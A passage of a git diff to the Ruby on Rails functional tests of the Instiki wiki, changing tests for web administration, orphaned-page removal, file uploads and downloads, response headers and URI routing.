 
   def test_create_web_default_password
-    @wiki.system.update_attribute(:password, nil)
+    @wiki.system[:password] = nil
   
     process 'create_web', 'system_password' => 'instiki', 'name' => 'Wiki Two', 'address' => 'wiki2'
     
-    assert_redirected_to :web => 'wiki2', :controller => 'wiki', :action => 'new', :id => 'HomePage'
+    assert_redirected_to :web => 'wiki2', :action => 'new', :id => 'HomePage'
   end
 
   def test_create_web_failed_authentication
-    @wiki.system.update_attribute(:password, 'pswd')
+    @wiki.system[:password] = 'pswd'
   
     process 'create_web', 'system_password' => 'wrong', 'name' => 'Wiki Two', 'address' => 'wiki2'
     
-    assert_redirected_to :controller => 'admin', :action => 'create_web'
+    assert_redirected_to :web => nil, :action => 'index'
     assert_nil @wiki.webs['wiki2']
   end
 
   def test_create_web_no_form_submitted
-    @wiki.system.update_attribute(:password, 'pswd')
+    @wiki.system[:password] = 'pswd'
     process 'create_web'
-    assert_response :success
+    assert_success
   end
 
+
   def test_edit_web_no_form
     process 'edit_web', 'web' => 'wiki1'
     # this action simply renders a form
-    assert_response :success
+    assert_success
   end
 
   def test_edit_web_form_submitted
-    @wiki.system.update_attribute(:password, 'pswd')
-    @web.save
-
-    process('edit_web', 'system_password' => 'pswd',
-        'web' => 'wiki1', 'address' => 'renamed_wiki1', 'name' => 'Renamed Wiki1',
-        'markup' => 'markdown', 'color' => 'blue', 'additional_style' => 'whatever', 
-        'safe_mode' => 'on', 'password' => 'new_password', 'password_check' => 'new_password', 'published' => 'on', 
-        'brackets_only' => 'on', 'count_pages' => 'on', 'allow_uploads' => 'on',
-        'max_upload_size' => '300')
-
-    assert_redirected_to :web => 'renamed_wiki1', :controller => 'wiki', :action => 'show', :id => 'HomePage'
-    @web = Web.find(@web.id)
-    assert_equal 'renamed_wiki1', @web.address
-    assert_equal 'Renamed Wiki1', @web.name
-    assert_equal :markdown, @web.markup
-    assert_equal 'blue', @web.color
-    assert @web.safe_mode?
-    assert_equal 'new_password', @web.password
-    assert @web.published?
-    assert @web.brackets_only?
-    assert @web.count_pages?
-    assert @web.allow_uploads?
-    assert_equal 300, @web.max_upload_size
-    assert File.directory? Rails.root.join("webs", "renamed_wiki1", "files")
-    assert !File.exist?(Rails.root.join("webs", "renamed_wiki1", "wiki1"))
-    assert !File.exist?(Rails.root.join("webs", "wiki1"))
-  end
-
-  def test_edit_web_web_password_mismatch
-    @wiki.system.update_attribute(:password, 'pswd')
-    @web.save
-
-    process('edit_web', 'system_password' => 'pswd',
-        'web' => 'wiki1', 'address' => 'renamed_wiki1', 'name' => 'Renamed Wiki1',
-        'markup' => 'markdown', 'color' => 'blue', 'additional_style' => 'whatever', 
-        'safe_mode' => 'on', 'password' => 'new_password', 'password_check' => 'old_password', 'published' => 'on', 
-        'brackets_only' => 'on', 'count_pages' => 'on', 'allow_uploads' => 'on',
-        'max_upload_size' => '300')
-
-    assert_response :success
-    assert @response.has_template_object?('error')
-    assert File.directory? Rails.root.join("webs", "wiki1", "files")
-    assert !File.exist?(Rails.root.join("webs", "renamed_wiki1", "wiki1"))
-    assert !File.exist?(Rails.root.join("webs", "renamed_wiki1"))
-  end
-
-  def test_edit_web_opposite_values
-    @wiki.system.update_attribute(:password, 'pswd')
-    @web.save
+    @wiki.system[:password] = 'pswd'
   
     process('edit_web', 'system_password' => 'pswd',
         'web' => 'wiki1', 'address' => 'renamed_wiki1', 'name' => 'Renamed Wiki1',
         'markup' => 'markdown', 'color' => 'blue', 'additional_style' => 'whatever', 
-        'password' => 'new_password', 'password_check' => 'new_password')
+        'safe_mode' => 'on', 'password' => 'new_password', 'published' => 'on', 
+        'brackets_only' => 'on', 'count_pages' => 'on', 'allow_uploads' => 'on',
+        'max_upload_size' => '300')
+
+    assert_redirected_to :web => 'renamed_wiki1', :action => 'show', :id => 'HomePage'
+    assert_equal 'renamed_wiki1', @web.address
+    assert_equal 'Renamed Wiki1', @web.name
+    assert_equal :markdown, @web.markup
+    assert_equal 'blue', @web.color
+    assert @web.safe_mode
+    assert_equal 'new_password', @web.password
+    assert @web.published
+    assert @web.brackets_only
+    assert @web.count_pages
+    assert @web.allow_uploads
+    assert_equal 300, @web.max_upload_size
+  end
+
+  def test_edit_web_opposite_values
+    @wiki.system[:password] = 'pswd'
+  
+    process('edit_web', 'system_password' => 'pswd',
+        'web' => 'wiki1', 'address' => 'renamed_wiki1', 'name' => 'Renamed Wiki1',
+        'markup' => 'markdown', 'color' => 'blue', 'additional_style' => 'whatever', 
+        'password' => 'new_password')
     # safe_mode, published, brackets_only, count_pages, allow_uploads not set 
     # and should become false
 
-    assert_redirected_to :web => 'renamed_wiki1', :controller => 'wiki', :action => 'show', :id => 'HomePage'
-    @web = Web.find(@web.id)
-    assert !@web.safe_mode?
-    assert !@web.published?
-    assert !@web.brackets_only?
-    assert !@web.count_pages?
-    assert !@web.allow_uploads?
-    assert File.directory? Rails.root.join("webs", "renamed_wiki1", "files")
-    assert !File.exist?(Rails.root.join("webs", "renamed_wiki1", "wiki1"))
-    assert !File.exist?(Rails.root.join("webs", "wiki1"))
+    assert_redirected_to :web => 'renamed_wiki1', :action => 'show', :id => 'HomePage'
+    assert !@web.safe_mode
+    assert !@web.published
+    assert !@web.brackets_only
+    assert !@web.count_pages
+    assert !@web.allow_uploads
   end
 
   def test_edit_web_wrong_password
@@ -192,21 +154,21 @@ class AdminControllerTest < ActionController::TestCase
       'password' => 'new_password')
       
     #returns to the same form
-    assert_response :success
+    assert_success
     assert @response.has_template_object?('error')
   end
 
   def test_edit_web_rename_to_already_existing_web_name
-    @wiki.system.update_attribute(:password, 'pswd')
+    @wiki.system[:password] = 'pswd'
     
     @wiki.create_web('Another', 'another')
     process('edit_web', 'system_password' => 'pswd',
       'web' => 'wiki1', 'address' => 'another', 'name' => 'Renamed Wiki1',
       'markup' => 'markdown', 'color' => 'blue', 'additional_style' => 'whatever', 
-      'password' => 'new_password', 'password_check' => 'new_password')
+      'password' => 'new_password')
       
     #returns to the same form
-    assert_response :success
+    assert_success
     assert @response.has_template_object?('error')
   end
 
@@ -217,87 +179,41 @@ class AdminControllerTest < ActionController::TestCase
       'password' => 'new_password')
       
     #returns to the same form
-    assert_response :success
+    assert_success
     assert @response.has_template_object?('error')
   end
 
 
   def test_remove_orphaned_pages
-    @wiki.system.update_attribute(:password, 'pswd')
-    page_order = [@home, pages(:my_way), @oak, pages(:smart_engine), pages(:that_way), @liquor]
-    x_test_renderer(@web.page('liquor').revisions.last).display_content(true)
-    orphan_page_linking_to_oak_and_redirecting_to_liquor = @wiki.write_page('wiki1', 'Pine',
-        "Refers to [[Oak]] and to [[booze]].\n" +
+    setup_wiki_with_three_pages
+    @wiki.system[:password] = 'pswd'
+    orhan_page_linking_to_oak = @wiki.write_page('wiki1', 'Pine',
+        "Refers to [[Oak]].\n" +
         "category: trees", 
-        Time.now, Author.new('TreeHugger', '127.0.0.2'), x_test_renderer)
-    
+        Time.now, Author.new('TreeHugger', '127.0.0.2'))
+
     r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password_orphaned' => 'pswd')
 
     assert_redirected_to :controller => 'wiki', :web => 'wiki1', :action => 'list'
-    @web.pages(true)
-    assert_equal page_order, @web.select.sort,
+    assert_equal [@home, @oak], @web.select.sort,
         "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}"
 
+
     # Oak is now orphan, second pass should remove it
     r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password_orphaned' => 'pswd')
     assert_redirected_to :controller => 'wiki', :web => 'wiki1', :action => 'list'
-    @web.pages(true)
-    page_order.delete(@oak)
-    page_order.delete(@liquor)
-    assert_equal page_order, @web.select.sort,
+    assert_equal [@home], @web.select.sort,
         "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}"
 
     # third pass does not destroy HomePage
     r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password_orphaned' => 'pswd')
-    assert_redirected_to  :web => 'wiki1', :controller => 'wiki', :action => 'list'
-    @web.pages(true)
-    assert_equal page_order, @web.select.sort,
+    assert_redirected_to :action => 'list'
+    assert_equal [@home], @web.select.sort,
         "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}"
   end
 
-  def test_remove_orphaned_pages_in_category
-    @wiki.system.update_attribute(:password, 'pswd')
-    page_order = [pages(:elephant), pages(:first_page), @home, pages(:my_way), pages(:no_wiki_word),
-       @oak, pages(:smart_engine), pages(:that_way), @liquor]
-    orphan_page_linking_to_oak = @wiki.write_page('wiki1', 'Pine',
-        "Refers to [[Oak]].\n" +
-        "category: trees", 
-        Time.now, Author.new('TreeHugger', '127.0.0.2'), x_test_renderer)
-
-    r = process('remove_orphaned_pages_in_category', 'web' => 'wiki1', 'category' => 'trees','system_password_orphaned_in_category' => 'pswd')
-
-    assert_redirected_to :controller => 'wiki', :web => 'wiki1', :action => 'list'
-    @web.pages(true)
-    assert_equal page_order, @web.select.sort,
-        "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}"
-
-    # Oak is now orphan, but it's not in the 'animals' category,
-    # so the second pass should not remove it
-    r = process('remove_orphaned_pages_in_category', 'web' => 'wiki1', 'category' => 'animals', 'system_password_orphaned_in_category' => 'pswd')
-    assert_redirected_to :controller => 'wiki', :web => 'wiki1', :action => 'list'
-    @web.pages(true)
-    page_order.delete(pages(:elephant))
-    assert_equal page_order, @web.select.sort,
-        "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}"
-
-    # third pass does does nothing, since there are no pages in the
-    # 'leaves' category.
-    r = process('remove_orphaned_pages_in_category', 'web' => 'wiki1', 'category' => 'leaves', 'system_password_orphaned_in_category' => 'pswd')
-    assert_redirected_to :controller => 'wiki', :web => 'wiki1', :action => 'list'
-    @web.pages(true)
-    assert_equal page_order, @web.select.sort,
-        "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}"
-
-    # fourth pass destroys Oak
-    r = process('remove_orphaned_pages_in_category', 'web' => 'wiki1', 'category' => 'trees', 'system_password_orphaned_in_category' => 'pswd')
-    assert_redirected_to :controller => 'wiki', :web => 'wiki1', :action => 'list'
-    @web.pages(true)
-    page_order.delete(@oak)
-    assert_equal page_order, @web.select.sort,
-        "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}"
-  end
-  
   def test_remove_orphaned_pages_empty_or_wrong_password
+    setup_wiki_with_three_pages
     @wiki.system[:password] = 'pswd'
     
     process('remove_orphaned_pages', 'web' => 'wiki1')
@@ -308,4 +224,5 @@ class AdminControllerTest < ActionController::TestCase
     assert_redirected_to(:controller => 'admin', :action => 'edit_web', :web => 'wiki1')
     assert @response.flash[:error]
   end
+
 end
diff --git a/test/functional/application_test.rb b/test/functional/application_test.rb
index cda76b26..3a33df74 100755
--- a/test/functional/application_test.rb
+++ b/test/functional/application_test.rb
@@ -1,67 +1,31 @@
 # Unit tests for ApplicationController (the abstract controller class)
 
-require File.expand_path(File.dirname(__FILE__) + '/../test_helper')
+require File.dirname(__FILE__) + '/../test_helper'
 require 'wiki_controller'
+require 'rexml/document'
 
 # Need some concrete class to test the abstract class features
 class WikiController; def rescue_action(e) logger.error(e); raise e end; end
 
-class ApplicationTest < ActionController::TestCase
-  fixtures :webs, :pages, :revisions, :system
-  
-  Mime::LOOKUP["text/html"]             = HTML
+class ApplicationTest < Test::Unit::TestCase
 
   def setup
-    @controller = WikiController.new
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-    @wiki = Wiki.new
-  end
-  
-  def test_utf8_header
-    get :show, :web => 'wiki1', :id => 'HomePage'
-    assert_equal 'text/html; charset=utf-8', @response.headers['Content-Type']
-  end
-  
-  def test_mathplayer_mime_type
-    @request.user_agent = 'MathPlayer'
-    get :show, :web => 'wiki1', :id => 'HomePage'
-    assert_equal 'application/xhtml+xml', @response.headers['Content-Type']
-  end
-  
-  def test_validator_mime_type
-    @request.user_agent = 'Validator'
-    get :show, :web => 'wiki1', :id => 'HomePage'
-    assert_equal 'application/xhtml+xml; charset=utf-8', @response.headers['Content-Type']
-  end
-  
-  def test_accept_header_xhtml
-    @request.user_agent = 'Mozilla/5.0'
-    @request.env.update({'HTTP_ACCEPT' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' })
-    get :show, :web => 'wiki1', :id => 'HomePage'
-    assert_equal 'application/xhtml+xml; charset=utf-8', @response.headers['Content-Type']
-  end
-  
-  def test_accept_header_html
-    @request.user_agent = 'Foo'
-    @request.env.update({'HTTP_ACCEPT' => 'text/html,application/xml;q=0.9,*/*;q=0.8' })
-    get :show, :web => 'wiki1', :id => 'HomePage'
-    assert_equal 'text/html; charset=utf-8', @response.headers['Content-Type']
+    setup_test_wiki
+    setup_controller_test(WikiController)
   end
 
-  def test_tex_mime_type
-    get :tex, :web => 'wiki1', :id => 'HomePage'
-    assert_equal 'text/plain; charset=utf-8', @response.headers['Content-Type']
+  def tear_down
+    tear_down_wiki
   end
-  
-  def test_atom_mime_type
-    get :atom_with_content, :web => 'wiki1'
-    assert_equal 'application/atom+xml; charset=utf-8', @response.headers['Content-Type']
+
+  def test_utf8_header
+    r = process('show', 'web' => 'wiki1', 'id' => 'HomePage')
+    assert_equal 'text/html; charset=UTF-8', r.headers['Content-Type']
   end
   
   def test_connect_to_model_unknown_wiki
-    get :show, :web => 'unknown_wiki', :id => 'HomePage'
-    assert_response :missing
+    r = process('show', 'web' => 'unknown_wiki', 'id' => 'HomePage')
+    assert_equal 404, r.response_code
   end
 
 end
diff --git a/test/functional/file_controller_test.rb b/test/functional/file_controller_test.rb
index c92385e0..5cd1ef26 100755
--- a/test/functional/file_controller_test.rb
+++ b/test/functional/file_controller_test.rb
@@ -1,264 +1,127 @@
-#!/usr/bin/env ruby
+#!/bin/env ruby -w 
 
-require Rails.root.join('test', 'test_helper')
+require File.dirname(__FILE__) + '/../test_helper'
 require 'file_controller'
 require 'fileutils'
-require 'stringio'
 
 # Raise errors beyond the default web-based presentation
 class FileController; def rescue_action(e) logger.error(e); raise e end; end
 
-class FileControllerTest < ActionController::TestCase
-  fixtures :webs, :pages, :revisions, :system
+class FileControllerTest < Test::Unit::TestCase
+
+  FILE_AREA = RAILS_ROOT + '/storage/test/wiki1'
+  FileUtils.mkdir_p(FILE_AREA) unless File.directory?(FILE_AREA)
+  FileUtils.rm(Dir["#{FILE_AREA}/*"])
 
   def setup
-    @controller = FileController.new
-    @request = ActionController::TestRequest.new
-    @response = ActionController::TestResponse.new
-    class << @request.session
-      attr_accessor :dbman
-    end
-    # simulate a cookie session store
-    @request.session.dbman = FakeSessionDbMan
-    @web = webs(:test_wiki)
-    @wiki = Wiki.new
-    WikiFile.delete_all
-    require 'fileutils'
-    FileUtils.rm_rf("#{RAILS_ROOT}/webs/wiki1")
+    setup_test_wiki
+    setup_controller_test
   end
 
-  def test_file_upload_form
-    get :file, :web => 'wiki1', :id => 'new_file.txt'
-    assert_response(:success)
-    assert_template 'file/file'
+  def tear_down
+    tear_down_wiki
+  end
+
+  def test_file
+    process 'file', 'web' => 'wiki1', 'id' => 'foo.tgz'
+    
+    assert_success
+    assert_rendered_file 'file/file'
   end
 
   def test_file_download_text_file
-    @web.wiki_files.create(:file_name => 'foo.txt', :description => 'Text file', 
-        :content => "Contents of the file")
-
-    r = get :file, :web => 'wiki1', :id => 'foo.txt'
+    File.open("#{FILE_AREA}/foo.txt", 'wb') { |f| f.write "aaa\nbbb\n" }
+  
+    r = process 'file', 'web' => 'wiki1', 'id' => 'foo.txt'
     
-    assert_response(:success, bypass_body_parsing = true)
-    assert_equal "Contents of the file", r.body
+    assert_success(bypass_body_parsing = true)
+    assert_equal "aaa\nbbb\n", r.body
     assert_equal 'text/plain', r.headers['Content-Type']
-    assert_equal 'inline; filename="foo.txt"', r.headers['Content-Disposition']
-  end
-
-  def test_file_download_html_file
-    @web.wiki_files.create(:file_name => 'foo.html', :description => 'Text file', 
-        :content => "Contents of the file")
-
-    r = get :file, :web => 'wiki1', :id => 'foo.html'
-    
-    assert_response(:success, bypass_body_parsing = true)
-    assert_equal "Contents of the file", r.body
-    assert_equal 'application/octet-stream', r.headers['Content-Type']
-    assert_equal 'attachment; filename="foo.html"', r.headers['Content-Disposition']
   end
 
   def test_file_download_pdf_file
-    @web.wiki_files.create(:file_name => 'foo.pdf', :description => 'PDF file', 
-        :content => "aaa\nbbb\n")
+    File.open("#{FILE_AREA}/foo.pdf", 'wb') { |f| f.write "aaa\nbbb\n" }
   
-    r = get :file, :web => 'wiki1', :id => 'foo.pdf'
+    r = process 'file', 'web' => 'wiki1', 'id' => 'foo.pdf'
     
-    assert_response(:success, bypass_body_parsing = true)
+    assert_success(bypass_body_parsing = true)
     assert_equal "aaa\nbbb\n", r.body
     assert_equal 'application/pdf', r.headers['Content-Type']
   end
 
   def test_pic_download_gif
-    pic = File.open("#{RAILS_ROOT}/test/fixtures/rails.gif", 'rb') { |f| f.read }
-    @web.wiki_files.create(:file_name => 'rails.gif', :description => 'An image', :content => pic)
+    FileUtils.cp("#{RAILS_ROOT}/test/fixtures/rails.gif", FILE_AREA)
     
-    r = get :file, :web => 'wiki1', :id => 'rails.gif'
+    r = process 'pic', 'web' => 'wiki1', 'id' => 'rails.gif'
     
-    assert_response(:success, bypass_body_parsing = true)
-    assert_equal 'image/gif', r.headers['Content-Type']
-    assert_equal pic.size, r.body.size
-    assert_equal pic, r.body
-    assert_equal 'inline; filename="rails.gif"', r.headers['Content-Disposition']
-  end
-
-  def test_pic_download_gif_published_web
-    @web.update_attribute(:published, true)
-    @web.update_attribute(:password, 'pswd')
-    pic = File.open("#{RAILS_ROOT}/test/fixtures/rails.gif", 'rb') { |f| f.read }
-    @web.wiki_files.create(:file_name => 'rails.gif', :description => 'An image', :content => pic)
-    
-    r = get :file, :web => 'wiki1', :id => 'rails.gif'
-    
-    assert_response(:success, bypass_body_parsing = true)
-    assert_equal 'image/gif', r.headers['Content-Type']
-    assert_equal pic.size, r.body.size
-    assert_equal pic, r.body
-    assert_equal 'inline; filename="rails.gif"', r.headers['Content-Disposition']
+    assert_success(bypass_body_parsing = true)
+    assert_equal File.size("#{FILE_AREA}/rails.gif"), r.body.size
   end
   
-  def test_pic_download_gif_unpublished_web
-    @web.update_attribute(:published, false)
-    @web.update_attribute(:password, 'pswd')
-    pic = File.open("#{RAILS_ROOT}/test/fixtures/rails.gif", 'rb') { |f| f.read }
-    @web.wiki_files.create(:file_name => 'rails.gif', :description => 'An image', :content => pic)
-    r = get :file, :web => 'wiki1', :id => 'rails.gif'
-
-    assert_response(:forbidden)
-  end
-
-  def test_pic_x_sendfile
-    pic = File.open("#{RAILS_ROOT}/test/fixtures/rails.gif", 'rb') { |f| f.read }
-    @web.wiki_files.create(:file_name => 'rails.gif', :description => 'An image', :content => pic)
-    @request.env.update({ 'HTTP_X_SENDFILE_TYPE' => 'foo' })
-    @request.remote_addr = '127.0.0.1'
-    r = get :file, :web => 'wiki1', :id => 'rails.gif'
-    
-    assert_response(:success, bypass_body_parsing = true)
-# It's no longer possible to use X-Sendfile in development; ergo no way to test
-#    assert_match  '/rails.gif', r.headers['X-Sendfile']
-    assert_equal 'image/gif', r.headers['Content-Type']
-    assert_equal 'inline; filename="rails.gif"', r.headers['Content-Disposition']
-  end
-  
-  def test_pic_x_sendfile_published_web
-    @web.update_attribute(:published, true)
-    @web.update_attribute(:password, 'pswd')
-    pic = File.open("#{RAILS_ROOT}/test/fixtures/rails.gif", 'rb') { |f| f.read }
-    @web.wiki_files.create(:file_name => 'rails.gif', :description => 'An image', :content => pic)
-    @request.env.update({ 'HTTP_X_SENDFILE_TYPE' => 'foo' })
-    @request.remote_addr = '127.0.0.1'
-    r = get :file, :web => 'wiki1', :id => 'rails.gif'
-    
-    assert_response(:success, bypass_body_parsing = true)
-# It's no longer possible to use X-Sendfile in development; ergo no way to test
-#    assert_match  '/rails.gif', r.headers['X-Sendfile']
-    assert_equal 'image/gif', r.headers['Content-Type']
-    assert_equal 'inline; filename="rails.gif"', r.headers['Content-Disposition']
-  end
-
-  def test_pic_x_sendfile_unpublished_web
-    @web.update_attribute(:published, false)
-    @web.update_attribute(:password, 'pswd')
-    pic = File.open("#{RAILS_ROOT}/test/fixtures/rails.gif", 'rb') { |f| f.read }
-    @web.wiki_files.create(:file_name => 'rails.gif', :description => 'An image', :content => pic)
-    @request.env.update({ 'HTTP_X_SENDFILE_TYPE' => 'foo' })
-    @request.remote_addr = '127.0.0.1'
-    r = get :file, :web => 'wiki1', :id => 'rails.gif'
-    
-    assert_response(:forbidden)
-  end
-
-  def test_pic_x_sendfile_type_nonlocal
-    pic = File.open("#{RAILS_ROOT}/test/fixtures/rails.gif", 'rb') { |f| f.read }
-    @web.wiki_files.create(:file_name => 'rails.gif', :description => 'An image', :content => pic)
-    @request.env.update({ 'HTTP_X_SENDFILE_TYPE' => 'foo' })
-    r = get :file, :web => 'wiki1', :id => 'rails.gif'
-    
-    assert_response(:success, bypass_body_parsing = true)
-    assert_equal 'image/gif', r.headers['Content-Type']
-    assert_equal pic.size, r.body.size
-    assert_equal pic, r.body
-    assert_equal 'inline; filename="rails.gif"', r.headers['Content-Disposition']
-  end
-
   def test_pic_unknown_pic
-    r = get :file, :web => 'wiki1', :id => 'non-existant.gif'
+    r = process 'pic', 'web' => 'wiki1', 'id' => 'non-existant.gif'
     
-    assert_response(:success)
-    assert_template 'file/file'
-  end
-
-  def test_pic_upload_published_web
-    @web.update_attribute(:published, true)
-    @web.update_attribute(:password, 'pswd')
-    @web.update_attribute(:allow_uploads, true)
-    # edit and re-render a page so that it has an "unknown file" link to 'rails-e2e.gif'
-    PageRenderer.setup_url_generator(StubUrlGenerator.new)
-    renderer = PageRenderer.new
-    @wiki.revise_page('wiki1', 'Oak', 'Oak', '[[rails-e2e.gif:pic]]', 
-        Time.now, 'AnonymousBrave', renderer)
-    assert_equal "<p><span class='newWikiWord'>rails-e2e.gif</span></p>",
-        renderer.display_published
-  
-    # rails-e2e.gif is unknown to the system, so pic action goes to the file [upload] form
-    r = get :file, :web => 'wiki1', :id => 'rails-e2e.gif'
-    assert_response(:forbidden)
-  end
-
-  def test_pic_upload_unpublished_web
-    @web.update_attribute(:published, false)
-    @web.update_attribute(:password, 'pswd')
-    @web.update_attribute(:allow_uploads, true)
-    # edit and re-render a page so that it has an "unknown file" link to 'rails-e2e.gif'
-    PageRenderer.setup_url_generator(StubUrlGenerator.new)
-    renderer = PageRenderer.new
-    @wiki.revise_page('wiki1', 'Oak', 'Oak', '[[rails-e2e.gif:pic]]', 
-        Time.now, 'AnonymousBrave', renderer)
-    assert_equal "<p><span class='newWikiWord'>rails-e2e.gif</span></p>",
-        renderer.display_published
-  
-    # rails-e2e.gif is unknown to the system, so pic action goes to the file [upload] form
-    r = get :file, :web => 'wiki1', :id => 'rails-e2e.gif'
-    assert_response(:forbidden)
+    assert_success
+    assert_rendered_file 'file/file'
   end
 
   def test_pic_upload_end_to_end
-    # edit and re-render a page so that it has an "unknown file" link to 'rails-e2e.gif'
-    PageRenderer.setup_url_generator(StubUrlGenerator.new)
-    renderer = PageRenderer.new
-    @wiki.revise_page('wiki1', 'Oak', 'Oak', '[[rails-e2e.gif:pic]]', 
-        Time.now, 'AnonymousBrave', renderer)
-    assert_equal "<p><span class='newWikiWord'>rails-e2e.gif<a href='../file/rails-e2e.gif'>" +
-        "?</a></span></p>",
-        renderer.display_content
+    # edit and re-render home page so that it has an "unknown file" link to 'rails-e2e.gif'
+    @wiki.revise_page('wiki1', 'HomePage', '[[rails-e2e.gif:pic]]', Time.now, 'AnonymousBrave')
+    assert_equal "<p><span class=\"newWikiWord\">rails-e2e.gif<a href=\"../pic/rails-e2e.gif\">" +
+        "?</a></span></p>", 
+        @home.display_content
   
     # rails-e2e.gif is unknown to the system, so pic action goes to the file [upload] form
-    r = get :file, :web => 'wiki1', :id => 'rails-e2e.gif'
-    assert_response(:success)
-    assert_template 'file/file'
+    r = process 'pic', 'web' => 'wiki1', 'id' => 'rails-e2e.gif'
+    assert_success
+    assert_rendered_file 'file/file'
 
     # User uploads the picture
-    begin # Ruby 1.9
-      picture = File.read("#{RAILS_ROOT}/test/fixtures/rails.gif", :encoding => 'ascii-8bit')
-    rescue #Ruby 1.8
-      picture = File.read("#{RAILS_ROOT}/test/fixtures/rails.gif")
-    end
-    # updated from post to get - post fails the spam protection (no javascript)
-    #   Moron! If substituting GET for POST actually works, you
-    #   have much, much bigger problems.
-    r = get :file, :web => 'wiki1', :referring_page => '/wiki1/show/Oak',
-            :file => {:file_name => 'rails-e2e.gif',
-                      :content => StringIO.new(picture),
-                      :description => 'Rails, end-to-end'}
-    assert_redirected_to  '/wiki1/show/Oak'
-    assert @web.has_file?('rails-e2e.gif')
-    assert_equal(picture, WikiFile.find_by_file_name('rails-e2e.gif').content)
-    PageRenderer.setup_url_generator(StubUrlGenerator.new)
-    @wiki.revise_page('wiki1', 'Oak', 'Oak', 'Try [[rails-e2e.gif:pic]] again.',
-        Time.now, 'AnonymousBrave', renderer)
-    assert_equal "<p>Try <img alt='Rails, end-to-end' src='../file/rails-e2e.gif'/> again.</p>",
-        renderer.display_content
-    assert_equal "<p>Try <img alt='Rails, end-to-end' src='../file/rails-e2e.gif'/> again.</p>",
-        renderer.display_published
+    picture = File.read("#{RAILS_ROOT}/test/fixtures/rails.gif")
+    r = process 'pic', 'web' => 'wiki1', 'id' => 'rails-e2e.gif', 'file' => StringIO.new(picture)
+    assert_redirect_url '/'
+    assert @wiki.file_yard(@web).has_file?('rails-e2e.gif')
+    assert_equal(picture, File.read("#{RAILS_ROOT}/storage/test/wiki1/rails-e2e.gif"))
+    
+    # this should refresh the page display content (cached)
+    assert_equal "<p><img alt=\"rails-e2e.gif\" src=\"../pic/rails-e2e.gif\" /></p>", 
+        @home.display_content
   end
 
-  def test_import
-    # updated from post to get - post fails the spam protection (no javascript)
-    r = get :import, :web => 'wiki1', :file => uploaded_file("#{RAILS_ROOT}/test/fixtures/exported_markup.zip")
-    assert_response(:redirect)
-    assert @web.has_page?('ImportedPage')
+  def test_pic_upload_end_to_end
+    # edit and re-render home page so that it has an "unknown file" link to 'rails-e2e.gif'
+    @wiki.revise_page('wiki1', 'HomePage', '[[instiki-e2e.txt:file]]', Time.now, 'AnonymousBrave')
+    assert_equal "<p><span class=\"newWikiWord\">instiki-e2e.txt" +
+        "<a href=\"../file/instiki-e2e.txt\">?</a></span></p>", 
+        @home.display_content
+        
+    # rails-e2e.gif is unknown to the system, so pic action goes to the file [upload] form
+    r = process 'file', 'web' => 'wiki1', 'id' => 'instiki-e2e.txt'
+    assert_success
+    assert_rendered_file 'file/file'
+
+    # User uploads the picture
+    file = "abcdefgh\n123"
+    r = process 'file', 'web' => 'wiki1', 'id' => 'instiki-e2e.txt', 'file' => StringIO.new(file)
+    assert_redirected_to :controller => 'wiki', :action => 'show', :web => 'wiki1', :id => 'HomePage'
+    assert @wiki.file_yard(@web).has_file?('instiki-e2e.txt')
+    assert_equal(file, File.read("#{RAILS_ROOT}/storage/test/wiki1/instiki-e2e.txt"))
+    
+    # this should refresh the page display content (cached)
+    assert_equal "<p><a class=\"existingWikiWord\" href=\"../file/instiki-e2e.txt\">" +
+        "instiki-e2e.txt</a></p>", 
+        @home.display_content
   end
 
-  def uploaded_file(path, content_type="application/octet-stream", filename=nil)
-    filename ||= File.basename(path)
-    t = Tempfile.new(filename)
-    FileUtils.copy_file(path, t.path)
-    (class << t; self; end;).class_eval do
-      alias local_path path
-      define_method(:original_filename) { filename }
-      define_method(:content_type) { content_type }
-    end
-    return t
+  def test_uploads_blocking
+    @web.allow_uploads = true
+    r = process 'file', 'web' => 'wiki1', 'id' => 'filename'
+    assert_success
+
+    @web.allow_uploads = false
+    r = process 'file', 'web' => 'wiki1', 'id' => 'filename'
+    assert_equal '403 Forbidden', r.headers['Status']
   end
 
 end
diff --git a/test/functional/routes_test.rb b/test/functional/routes_test.rb
index 517a8551..2e338bd0 100644
--- a/test/functional/routes_test.rb
+++ b/test/functional/routes_test.rb
@@ -1,10 +1,10 @@
-#!/usr/bin/env ruby
+#!/bin/env ruby -w
 
-require File.expand_path(File.dirname(__FILE__) + '/../test_helper')
+require File.dirname(__FILE__) + '/../test_helper'
 
 require 'action_controller/routing'
 
-class RoutesTest < ActionController::TestCase
+class RoutesTest < Test::Unit::TestCase
 
   def test_parse_uri
     assert_routing('', :controller => 'wiki', :action => 'index')
@@ -12,10 +12,7 @@ class RoutesTest < ActionController::TestCase
     assert_routing('x/y', :controller => 'wiki', :web => 'x', :action => 'y')
     assert_routing('x/y/z', :controller => 'wiki', :web => 'x', :action => 'y', :id => 'z')
     assert_recognizes({:web => 'x', :controller => 'wiki', :action => 'y'}, 'x/y/')
-    assert_recognizes({:web => 'x', :controller => 'wiki', :action => 'y', :id => 'z'}, 'x/y/z')
-    assert_recognizes({:web => 'x', :controller => 'wiki', :action => 'y', :id => 'z/'}, 'x/y/z/')
-    assert_recognizes({:web => 'x', :controller => 'wiki', :action => 'y', :id => 'z/'}, 'x/y/z%2F')
-    assert_recognizes({:web => 'x', :controller => 'wiki', :action => 'y', :id => 'z.w'}, 'x/y/z.w')
+    assert_recognizes({:web => 'x', :controller => 'wiki', :action => 'y', :id => 'z'}, 'x/y/z/')
   end
   
   def test_parse_uri_interestng_cases
@@ -24,24 +21,22 @@ class RoutesTest < ActionController::TestCase
       :controller => 'wiki', 
       :action => 'an_action', :id => 'HomePage'
     )
-#    assert_recognizes({:controller => 'wiki', :action => 'index'}, '///')
+    assert_recognizes({:controller => 'wiki', :action => 'index'}, '///')
   end
   
   def test_parse_uri_liberal_with_pagenames
 
     assert_routing('web/show/%24HOME_PAGE', 
